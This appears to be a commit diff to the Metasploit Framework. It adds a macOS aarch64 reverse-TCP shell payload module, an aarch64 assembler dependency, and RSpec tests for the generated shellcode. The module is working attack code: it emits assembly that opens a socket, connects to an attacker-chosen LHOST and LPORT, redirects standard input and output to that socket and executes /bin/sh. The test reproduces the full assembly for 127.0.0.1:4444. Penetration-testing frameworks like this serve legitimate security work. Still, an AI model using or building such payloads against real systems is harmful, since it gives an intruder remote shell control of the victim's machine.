Add osx aarch64 shell reverse tcp payload

Gemfile.lock

@@ -2,6 +2,7 @@ PATH
   remote: .
   specs:
     metasploit-framework (6.3.50)
+      aarch64
       actionpack (~> 7.0.0)
       activerecord (~> 7.0.0)
       activesupport (~> 7.0.0)
@@ -103,6 +104,7 @@ GEM
   remote: https://rubygems.org/
   specs:
     Ascii85 (1.1.0)
+    aarch64 (2.0.2)
     actionpack (7.0.8)
       actionview (= 7.0.8)
       activesupport (= 7.0.8)

metasploit-framework.gemspec

@@ -62,6 +62,8 @@ Gem::Specification.new do |spec|
   spec.add_runtime_dependency 'json'
   # Metasm compiler/decompiler/assembler
   spec.add_runtime_dependency 'metasm'
+  # Needed for aarch64 assembler support - as Metasm does not currently support Aarch64 fully
+  spec.add_runtime_dependency 'aarch64'
   # Metasploit::Concern hooks
   spec.add_runtime_dependency 'metasploit-concern'
   # Metasploit::Credential database models

modules/payloads/singles/osx/aarch64/shell_reverse_tcp.rb

@@ -0,0 +1,213 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+module MetasploitModule
+  CachedSize = 188
+
+  include Msf::Payload::Single
+
+  def initialize(info = {})
+    super(
+      merge_info(
+        info,
+        'Name' => 'OSX aarch64 Shell Reverse TCP',
+        'Description' => 'Connect back to attacker and spawn a command shell',
+        'Author' => [ 'alanfoster' ],
+        'License' => MSF_LICENSE,
+        'Platform' => 'osx',
+        'Arch' => ARCH_AARCH64,
+        'Handler' => Msf::Handler::ReverseTcp,
+        'Session' => Msf::Sessions::CommandShellUnix
+      )
+    )
+
+    # exec payload options
+    register_options(
+      [
+        OptString.new('CMD', [ true, 'The command string to execute', '/bin/sh' ]),
+        Opt::LHOST,
+        Opt::LPORT(4444)
+      ]
+    )
+  end
+
+  # build the shellcode payload dynamically based on the user-provided CMD
+  def generate(_opts = {})
+    # Split the cmd string into arg chunks
+    cmd_str = datastore['CMD']
+    cmd_and_args = Shellwords.shellsplit(cmd_str).map { |s| "#{s}\x00" }
+
+    cmd = cmd_and_args[0]
+    args = cmd_and_args[1..]
+
+    # Don't smash the real sp register, re-create our own on the x9 scratch register
+    stack_register = :x9
+    cmd_string_in_x0 = create_aarch64_string_in_stack(
+      cmd,
+      registers: {
+        destination: :x0,
+        stack: stack_register
+      }
+    )
+
+    lport = datastore['LPORT'].to_i
+    lhost = datastore['LHOST']
+
+    lport_hex = [lport].pack('v').bytes.map { |b| b.to_s(16).rjust(2, '0') }.join
+    lhost_hex = [IPAddr.new(lhost, Socket::AF_INET).to_i].pack('L<').bytes.map { |b| b.to_s(16).rjust(2, '0') }
+
+    result = <<~EOF
+      // socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
+      // socket:
+        mov x0, 0x2                   // x0 = AF_INET
+        mov x1, 0x1                   // x1 = SOCK_STREAM
+        mov x2, 0                     // x2 = IPPROTO_IP
+        movz x16, #0x0200, lsl #16    // x16 = SYS_SOCKET 0x2000061
+        movk x16, #0x0061
+        svc 0                         // system call
+
+        // Socket file descriptor will be in x0; Additionally the store socket file descriptor in x13
+        mov x13, x0
+
+      // connect(sockfd, socket={AF_INET,#{lport},#{lhost}}, socklen_t=16)
+      // connect:
+        // mov x0, x13                // x0 = socketfd, already set from previous socket result - additionally stored in x16
+        lsl  x1, x1, #1               // x1 = struct socaddr_in; sin_family=AF_INET
+        movk x1, #0x#{lport_hex}, lsl #16     //    sin_port = htons(#{lport})
+        movk x1, #0x#{lhost_hex[2..3].join}, lsl #32       //    sin_addr = inet_aton(ip, &addr.sin_addr)
+        movk x1, #0x#{lhost_hex[0..1].join}, lsl #48
+        str x1, [sp, #-8]!
+        mov x1, sp                    // XXX: Should be: add x1, sp, x2, but assembler does not support it
+        add x1, x1, x2                // XXX: Should be: add x1, sp, x2, but assembler does not support it
+
+        mov x2, 16                    // x2 = sizeof(struct sockaddr) = 16
+        movz x16, #0x0200, lsl #16    // x16 = SYS_CONNECT 0x2000062
+        movk x16, #0x0062
+        svc 0
+
+      // int dup2(int filedes=socketfd, int newfd=STDIN/STDOUT/STD)
+      // dup2_calls:
+        movz x16, #0x0200, lsl #16     // x16 = SYS_DUP2 0x200005a
+        movk x16, #0x005a
+        mov x0, x13                    // x0 = socket
+        movz x1, 0                     // x1 = STDIN
+        svc 0                          // system call
+        mov x0, x13                    // x0 = socket
+        movz x1, 1                     // x1 = STDOUT
+        svc 0                          // system call
+        mov x0, x13                    // x0 = socket
+        movz x1, 2                     // x1 = STDERR
+        svc 0                          // system call
+
+      // int execve(const char *path, char *const argv[], char *const envp[]);
+      // exec_call:
+        // Set system call SYS_EXECVE 0x200003b in x16
+        movz x16, #0x0200, lsl #16
+        movk x16, #0x003b
+
+        mov #{stack_register}, sp // Temporarily move SP into scratch register
+
+        // Arg 0: execve - const char *path - Pointer to the program name to run
+        #{cmd_string_in_x0}
+
+        // Push execve arguments, using x1 as a temporary register
+        #{args.each_with_index.map do |value, index|
+            "// Push argument #{index}\n" +
+              create_aarch64_string_in_stack(value, registers: { destination: :x1, stack: stack_register })
+          end.join("\n")
+        }
+
+        // Arg 1: execve - char *const argv[] - program arguments
+        #{cmd_and_args.each_with_index.map do |value, index|
+            bytes_to_base_of_string = cmd_and_args[index..].sum { |string| align(string.bytesize) } + (index * 8)
+            [
+              "// argv[#{index}] = create pointer to base of string value #{value.inspect}",
+              "mov x1, #{stack_register}",
+              "sub x1, x1, ##{bytes_to_base_of_string} // Update the target register to point to base of the string",
+              "str x1, [#{stack_register}], #8 // Store the pointer in the stack"
+            ].join("\n") + "\n"
+          end.join("\n")}
+
+        // argv[#{cmd_and_args.length}] = NULL
+        str xzr, [#{stack_register}], #8
+
+        // Set execve arg1 to the base of the argv array of pointers
+        mov x1, #{stack_register}
+        sub x1, x1, ##{(cmd_and_args.length + 1) * 8}
+
+        // Arg 2: execve - char *const envp[] - Environment variables, NULL for now
+        mov x2, xzr
+        // System call
+        svc #0
+    EOF
+
+    compile_aarch64(result)
+  end
+
+  def create_aarch64_string_in_stack(string, registers: {})
+    target = registers.fetch(:destination, :x0)
+    stack = registers.fetch(:stack, :x9)
+
+    # Instructions for pushing the bytes of the string 8 characters at a time
+    push_string = string.bytes
+                        .each_slice(8)
+                        .each_with_index
+                        .flat_map do |eight_byte_chunk, _chunk_index|
+      mov_instructions = eight_byte_chunk
+                         .each_slice(2)
+                         .each_with_index
+                         .map do |two_byte_chunk, index|
+        two_byte_chunk = two_byte_chunk.reverse
+        two_byte_chunk_hex = two_byte_chunk.map { |b| b.to_s(16).rjust(2, '0') }.join
+        two_byte_chunk_chr = two_byte_chunk.map(&:chr).join
+        "mov#{index == 0 ? 'z' : 'k'} #{target}, #0x#{two_byte_chunk_hex}#{index == 0 ? '' : ", lsl ##{index * 16}"} // #{two_byte_chunk_chr.inspect}"
+      end
+      [
+        "// Next 8 bytes of string: #{eight_byte_chunk.map(&:chr).join.inspect}",
+        *mov_instructions,
+        "str #{target}, [#{stack}], #8 // Store #{target} on #{stack}-stack and increment by 8"
+      ]
+    end
+    push_string = push_string.join("\n") + "\n"
+
+    set_target_register_to_base_of_string = <<~EOF
+      mov #{target}, #{stack} // Store the current stack location in the target register
+      sub #{target}, #{target}, ##{align(string.bytesize)} // Update the target register to point to base of the string
+    EOF
+
+    result = <<~EOF
+      #{push_string}
+      #{set_target_register_to_base_of_string}
+    EOF
+
+    result
+  end
+
+  def align(value, alignment: 8)
+    return value if value % alignment == 0
+
+    value + (alignment - (value % alignment))
+  end
+
+  def compile_aarch64(asm_string)
+    require 'aarch64/parser'
+    parser = ::AArch64::Parser.new
+    asm = parser.parse without_inline_comments(asm_string)
+
+    asm.to_binary
+  end
+
+  # Remove any human readable comments that have been inlined
+  def without_inline_comments(string)
+    comment_delimiter = '//'
+    result = string.lines(chomp: true).map do |line|
+      instruction, _comment = line.split(comment_delimiter, 2)
+      next if instruction.blank?
+
+      instruction
+    end.compact
+    result.join("\n") + "\n"
+  end
+end

spec/modules/payloads/singles/osx/aarch64/shell_reverse_tcp_spec.rb

@@ -0,0 +1,134 @@
+require 'rspec'
+
+RSpec.describe 'singles/osx/aarch64/shell_reverse_tcp' do
+  include_context 'Msf::Simple::Framework#modules loading'
+
+  let(:subject) do
+    load_and_create_module(
+      module_type: 'payload',
+      reference_name: 'osx/aarch64/shell_reverse_tcp',
+      ancestor_reference_names: [
+        'singles/osx/aarch64/shell_reverse_tcp'
+      ]
+    )
+  end
+  let(:cmd) { nil }
+  let(:lhost) { '127.0.0.1' }
+  let(:lport) { '4444' }
+  let(:datastore_values) { { 'CMD' => cmd, 'LHOST' => lhost, 'LPORT' => lport } }
+
+  before(:each) do
+    subject.datastore.merge!(datastore_values)
+  end
+
+  describe '#generate' do
+    # Verify that the compile command is called with the expected asm string
+    def expect_result_to_match(expected_asm)
+      allow(subject).to receive(:compile_aarch64).and_wrap_original do |original, asm|
+        compiled_asm = original.call asm
+        expect(asm).to match_table(expected_asm)
+        expect(compiled_asm.length).to be > 0
+        'mock-aarch64-compiled'
+      end
+      expect(subject.generate).to eq 'mock-aarch64-compiled'
+    end
+
+    context 'when the CMD is /bin/bash' do
+      let(:cmd) { '/bin/bash' }
+
+      it 'generates the execve system call payload without arguments present' do
+        expected = <<~'EOF'
+          // socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
+          // socket:
+            mov x0, 0x2                   // x0 = AF_INET
+            mov x1, 0x1                   // x1 = SOCK_STREAM
+            mov x2, 0                     // x2 = IPPROTO_IP
+            movz x16, #0x0200, lsl #16    // x16 = SYS_SOCKET 0x2000061
+            movk x16, #0x0061
+            svc 0                         // system call
+
+            // Socket file descriptor will be in x0; Additionally the store socket file descriptor in x13
+            mov x13, x0
+
+          // connect(sockfd, socket={AF_INET,4444,127.0.0.1}, socklen_t=16)
+          // connect:
+            // mov x0, x13                // x0 = socketfd, already set from previous socket result - additionally stored in x16
+            lsl  x1, x1, #1               // x1 = struct socaddr_in; sin_family=AF_INET
+            movk x1, #0x5c11, lsl #16     //    sin_port = htons(4444)
+            movk x1, #0x007f, lsl #32       //    sin_addr = inet_aton(ip, &addr.sin_addr)
+            movk x1, #0x0100, lsl #48
+            str x1, [sp, #-8]!
+            mov x1, sp                    // XXX: Should be: add x1, sp, x2, but assembler does not support it
+            add x1, x1, x2                // XXX: Should be: add x1, sp, x2, but assembler does not support it
+
+            mov x2, 16                    // x2 = sizeof(struct sockaddr) = 16
+            movz x16, #0x0200, lsl #16    // x16 = SYS_CONNECT 0x2000062
+            movk x16, #0x0062
+            svc 0
+
+          // int dup2(int filedes=socketfd, int newfd=STDIN/STDOUT/STD)
+          // dup2_calls:
+            movz x16, #0x0200, lsl #16     // x16 = SYS_DUP2 0x200005a
+            movk x16, #0x005a
+            mov x0, x13                    // x0 = socket
+            movz x1, 0                     // x1 = STDIN
+            svc 0                          // system call
+            mov x0, x13                    // x0 = socket
+            movz x1, 1                     // x1 = STDOUT
+            svc 0                          // system call
+            mov x0, x13                    // x0 = socket
+            movz x1, 2                     // x1 = STDERR
+            svc 0                          // system call
+
+          // int execve(const char *path, char *const argv[], char *const envp[]);
+          // exec_call:
+            // Set system call SYS_EXECVE 0x200003b in x16
+            movz x16, #0x0200, lsl #16
+            movk x16, #0x003b
+
+            mov x9, sp // Temporarily move SP into scratch register
+
+            // Arg 0: execve - const char *path - Pointer to the program name to run
+            // Next 8 bytes of string: "/bin/bas"
+          movz x0, #0x622f // "b/"
+          movk x0, #0x6e69, lsl #16 // "ni"
+          movk x0, #0x622f, lsl #32 // "b/"
+          movk x0, #0x7361, lsl #48 // "sa"
+          str x0, [x9], #8 // Store x0 on x9-stack and increment by 8
+          // Next 8 bytes of string: "h\x00"
+          movz x0, #0x0068 // "\x00h"
+          str x0, [x9], #8 // Store x0 on x9-stack and increment by 8
+
+          mov x0, x9 // Store the current stack location in the target register
+          sub x0, x0, #16 // Update the target register to point to base of the string
+
+
+
+            // Push execve arguments, using x1 as a temporary register
+            
+
+            // Arg 1: execve - char *const argv[] - program arguments
+            // argv[0] = create pointer to base of string value "/bin/bash\x00"
+          mov x1, x9
+          sub x1, x1, #16 // Update the target register to point to base of the string
+          str x1, [x9], #8 // Store the pointer in the stack
+
+
+            // argv[1] = NULL
+            str xzr, [x9], #8
+
+            // Set execve arg1 to the base of the argv array of pointers
+            mov x1, x9
+            sub x1, x1, #16
+
+            // Arg 2: execve - char *const envp[] - Environment variables, NULL for now
+            mov x2, xzr
+            // System call
+            svc #0
+        EOF
+
+        expect_result_to_match(expected)
+      end
+    end
+  end
+end

spec/modules/payloads_spec.rb

@@ -2220,6 +2220,16 @@
                           reference_name: 'nodejs/shell_reverse_tcp_ssl'
   end
 
+  context 'osx/aarch64/shell_reverse_tcp' do
+    it_should_behave_like 'payload cached size is consistent',
+                          ancestor_reference_names: [
+                              'singles/osx/aarch64/shell_reverse_tcp'
+                          ],
+                          dynamic_size: false,
+                          modules_pathname: modules_pathname,
+                          reference_name: 'osx/aarch64/shell_reverse_tcp'
+  end
+
   context 'osx/aarch64/meterpreter/reverse_tcp' do
     it_should_behave_like 'payload cached size is consistent',
                           ancestor_reference_names: [